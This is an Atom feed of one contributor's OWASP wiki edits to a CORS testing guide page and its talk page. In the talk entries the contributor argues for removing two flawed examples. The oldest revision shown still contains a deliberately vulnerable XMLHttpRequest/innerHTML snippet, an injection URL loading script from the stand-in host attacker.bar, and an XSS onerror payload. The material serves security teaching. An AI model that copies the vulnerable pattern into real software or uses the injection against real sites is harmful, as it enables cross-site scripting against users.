<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Collin+Sauve</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Collin+Sauve"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Collin_Sauve"/>
		<updated>2026-05-02T02:28:25Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247838</id>
		<title>Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247838"/>
				<updated>2019-02-25T20:37:01Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad:&lt;br /&gt;
&lt;br /&gt;
* Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine unless you also allow credentials and the server authenticates using those credentials.   If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.  As an example an API that authenticates using Bearer Auth does not have any need to concern itself with cross-origin calls since the possession of the bearer token is what matters.&lt;br /&gt;
&lt;br /&gt;
* Example 2 is an XSS problem.  The only thing that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control.  Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site.  Amazing that this example made it into this wiki in the first place.&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247837</id>
		<title>Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247837"/>
				<updated>2019-02-25T20:34:35Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad:&lt;br /&gt;
&lt;br /&gt;
* Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine unless you also allow credentials.   If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.&lt;br /&gt;
&lt;br /&gt;
* Example 2 is an XSS problem.  The only thing that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control.  Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site.  Amazing that this example made it into this wiki in the first place.&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247836</id>
		<title>Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247836"/>
				<updated>2019-02-25T20:34:25Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad:&lt;br /&gt;
&lt;br /&gt;
* Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine unless you also allow credentials.   If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.&lt;br /&gt;
&lt;br /&gt;
* Example 2 is an XSS problem.  The only that that CORS could do here is CORS headers on the '''attacker's''' site could mitigate that, which is outside of your control.  Just a terrible, terrible example of CORS misconfigurations since the alleged misconfiguration is on the attacker's site.  Amazing that this example made it into this wiki in the first place.&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247835</id>
		<title>Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247835"/>
				<updated>2019-02-25T20:33:27Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad:&lt;br /&gt;
&lt;br /&gt;
* Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine UNLESS you also allow credentials.   If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.&lt;br /&gt;
&lt;br /&gt;
* Example 2 is an XSS problem.  The only that that CORS could do here is CORS headers on the ATTACKER'S site could mitigate that, which is outside of your control.  Just a terrible, terrible example of CORS misconfigurations since the &amp;quot;misconfiguration&amp;quot; is on the attackers site.  Amazing that this example made it into this wiki in the first place.&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247834</id>
		<title>Talk:Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247834"/>
				<updated>2019-02-25T20:33:16Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: Created page with &amp;quot;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad: Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine UNLESS yo...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;I've removed the bad &amp;quot;Gray Box&amp;quot; examples as they are BOTH bad:&lt;br /&gt;
Example 1 is not an example of an inherently insecure request.  Allowing all origins is perfectly fine UNLESS you also allow credentials.   If anyone wants to claim that it is insecure you'll need to justify your reasoning here not just assert it.&lt;br /&gt;
&lt;br /&gt;
Example 2 is an XSS problem.  The only that that CORS could do here is CORS headers on the ATTACKER'S site could mitigate that, which is outside of your control.  Just a terrible, terrible example of CORS misconfigurations since the &amp;quot;misconfiguration&amp;quot; is on the attackers site.  Amazing that this example made it into this wiki in the first place.&lt;br /&gt;
[[User:Collin Sauve|Collin Sauve]] ([[User talk:Collin Sauve|talk]]) 14:33, 25 February 2019 (CST)&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247831</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247831"/>
				<updated>2019-02-25T20:29:28Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: /* Gray Box testing */ Fix gray box description now that both horrible examples are removed.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed and if credentials are allowed.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247830</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247830"/>
				<updated>2019-02-25T20:27:41Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: /* Gray Box testing */ That example was not a problem with CORS it was a problem with XSS.  In that example CORS headers were coming from the ATTACKER's site.  Bad, bad bad example.  Should be deleted completely!!!&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet'''&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/&lt;/div&gt;</summary>
		<author><name>Collin Sauve</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247827</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=247827"/>
				<updated>2019-02-25T20:22:28Z</updated>
		
		<summary type="html">&lt;p&gt;Collin Sauve: /* Gray Box testing */  This example is not insecure.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example when the server returns back the Origin header in the Access-Control-Allow-Origin without any additional checks AND returns Access-Control-Allow-Credentials: true, which can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
req.open(&amp;quot;GET&amp;quot;,resource,true);&lt;br /&gt;
req.send();&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For example, a request like this will show the contents of the profile.php file:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#profile.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://example.foo/profile.php HTTP/1.1&lt;br /&gt;
Host: example.foo&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:20:48 GMT&lt;br /&gt;
Server: Apache/2.2.16 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.3.3-7+squeeze17&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 25&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:&lt;br /&gt;
&lt;br /&gt;
 http://example.foo/main.php#http://attacker.bar/file.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request and response generated by this URL:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/file.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/main.php&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 19:00:32 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 92&lt;br /&gt;
Keep-Alive: timeout=15, max=100&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
Injected Content from attacker.bar &amp;lt;img src=&amp;quot;#&amp;quot; onerror=&amp;quot;alert('Domain: '+document.domain)&amp;quot;&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:CORS-example.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
